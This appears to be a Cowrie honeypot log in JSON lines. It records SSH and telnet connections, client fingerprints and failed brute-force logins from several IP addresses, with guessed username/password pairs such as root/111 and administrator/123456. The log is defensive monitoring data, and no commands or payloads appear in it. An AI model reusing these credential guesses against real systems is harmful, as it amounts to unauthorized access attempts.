{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:54.089713Z","src_ip":"31.40.204.166","session":"fd6d8d8f5254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.10049557685852,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:54.372497Z","src_ip":"152.42.224.71","session":"2e5dd8d3d2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.1160249710083,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:54.791046Z","src_ip":"152.42.224.71","session":"8fa5473b1dca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:55.294591Z","src_ip":"31.40.204.166","session":"fd6d8d8f5254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":52065,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a147bc8fc8f","protocol":"ssh","message":"New connection: 179.176.210.17:52065 (10.17.0.5:22) [session: 8a147bc8fc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:55.748801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:55.753613Z","src_ip":"179.176.210.17","session":"8a147bc8fc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:55.896806Z","src_ip":"179.176.210.17","session":"8a147bc8fc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@2026","message":"login attempt [sysadmin/sysadmin@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:56.487900Z","src_ip":"179.176.210.17","session":"8a147bc8fc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16973cafb03","protocol":"telnet","message":"New connection: 152.42.224.71:44844 (10.17.0.5:23) [session: e16973cafb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:56.907737Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:57.630021Z","src_ip":"179.176.210.17","session":"8a147bc8fc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":48802,"dst_ip":"159.203.135.109","dst_port":22,"session":"96262c9469ab","protocol":"ssh","message":"New connection: 89.108.118.91:48802 (159.203.135.109:22) [session: 96262c9469ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:58.234562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:58.239241Z","src_ip":"89.108.118.91","session":"96262c9469ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:58.380940Z","src_ip":"89.108.118.91","session":"96262c9469ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morozov","message":"login attempt [root/morozov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:58.804488Z","src_ip":"89.108.118.91","session":"96262c9469ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.60915994644165,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:59.489433Z","src_ip":"152.42.224.71","session":"bf5a563b179c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:59.948031Z","src_ip":"89.108.118.91","session":"96262c9469ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.900694847106934,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:59.998423Z","src_ip":"152.42.224.71","session":"c7b7589d9174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44854,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3aa141565a","protocol":"telnet","message":"New connection: 152.42.224.71:44854 (10.17.0.5:23) [session: 1f3aa141565a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:03.318872Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55204,"dst_ip":"10.17.0.5","dst_port":22,"session":"025a3499ad2c","protocol":"ssh","message":"New connection: 37.233.85.71:55204 (10.17.0.5:22) [session: 025a3499ad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:04.158412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:04.162940Z","src_ip":"37.233.85.71","session":"025a3499ad2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:04.271861Z","src_ip":"37.233.85.71","session":"025a3499ad2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123q","message":"login attempt [root/8123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:04.600716Z","src_ip":"37.233.85.71","session":"025a3499ad2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51306,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d9096d8a96a","protocol":"ssh","message":"New connection: 31.40.204.166:51306 (159.203.135.109:22) [session: 6d9096d8a96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:05.307323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:05.316870Z","src_ip":"31.40.204.166","session":"6d9096d8a96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:05.497100Z","src_ip":"31.40.204.166","session":"6d9096d8a96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:05.711789Z","src_ip":"37.233.85.71","session":"025a3499ad2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:06.019103Z","src_ip":"31.40.204.166","session":"6d9096d8a96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:07.397776Z","src_ip":"31.40.204.166","session":"6d9096d8a96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.79900932312012,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:11.118176Z","src_ip":"152.42.224.71","session":"27b38cba3f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35740,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dc7ff7c017c","protocol":"telnet","message":"New connection: 152.42.224.71:35740 (10.17.0.5:23) [session: 9dc7ff7c017c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:13.808096Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":32830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2460ada11b1d","protocol":"ssh","message":"New connection: 31.40.204.166:32830 (159.203.135.109:22) [session: 2460ada11b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:16.522474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:16.594252Z","src_ip":"31.40.204.166","session":"2460ada11b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:16.703302Z","src_ip":"31.40.204.166","session":"2460ada11b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:17.486610Z","src_ip":"31.40.204.166","session":"2460ada11b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.67387366294861,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:17.882960Z","src_ip":"152.42.224.71","session":"4f1f0eb2665c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:18.612796Z","src_ip":"31.40.204.166","session":"2460ada11b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"2360edbfd424","protocol":"telnet","message":"New connection: 152.42.224.71:47276 (10.17.0.5:23) [session: 2360edbfd424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:21.803148Z"}
{"eventid":"cowrie.session.closed","duration":53.456027030944824,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:22.415086Z","src_ip":"152.42.224.71","session":"8998a8075f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.01871109008789,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:26.337436Z","src_ip":"152.42.224.71","session":"1f3aa141565a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39032,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f5ddcfe763","protocol":"ssh","message":"New connection: 31.40.204.166:39032 (159.203.135.109:22) [session: 79f5ddcfe763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:28.286609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:28.293734Z","src_ip":"31.40.204.166","session":"79f5ddcfe763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:28.415516Z","src_ip":"31.40.204.166","session":"79f5ddcfe763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:29.012457Z","src_ip":"31.40.204.166","session":"79f5ddcfe763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:30.206209Z","src_ip":"31.40.204.166","session":"79f5ddcfe763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46786,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc62d301b92","protocol":"telnet","message":"New connection: 152.42.224.71:46786 (10.17.0.5:23) [session: 0fc62d301b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:32.391818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"36eb5663fa22","protocol":"telnet","message":"New connection: 152.42.224.71:52940 (10.17.0.5:23) [session: 36eb5663fa22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:39.788121Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54714,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c3ab845ea5","protocol":"ssh","message":"New connection: 31.40.204.166:54714 (159.203.135.109:22) [session: 21c3ab845ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:40.382548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:40.387076Z","src_ip":"31.40.204.166","session":"21c3ab845ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:40.513778Z","src_ip":"31.40.204.166","session":"21c3ab845ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:40.987086Z","src_ip":"31.40.204.166","session":"21c3ab845ea5","protocol":"ssh"}
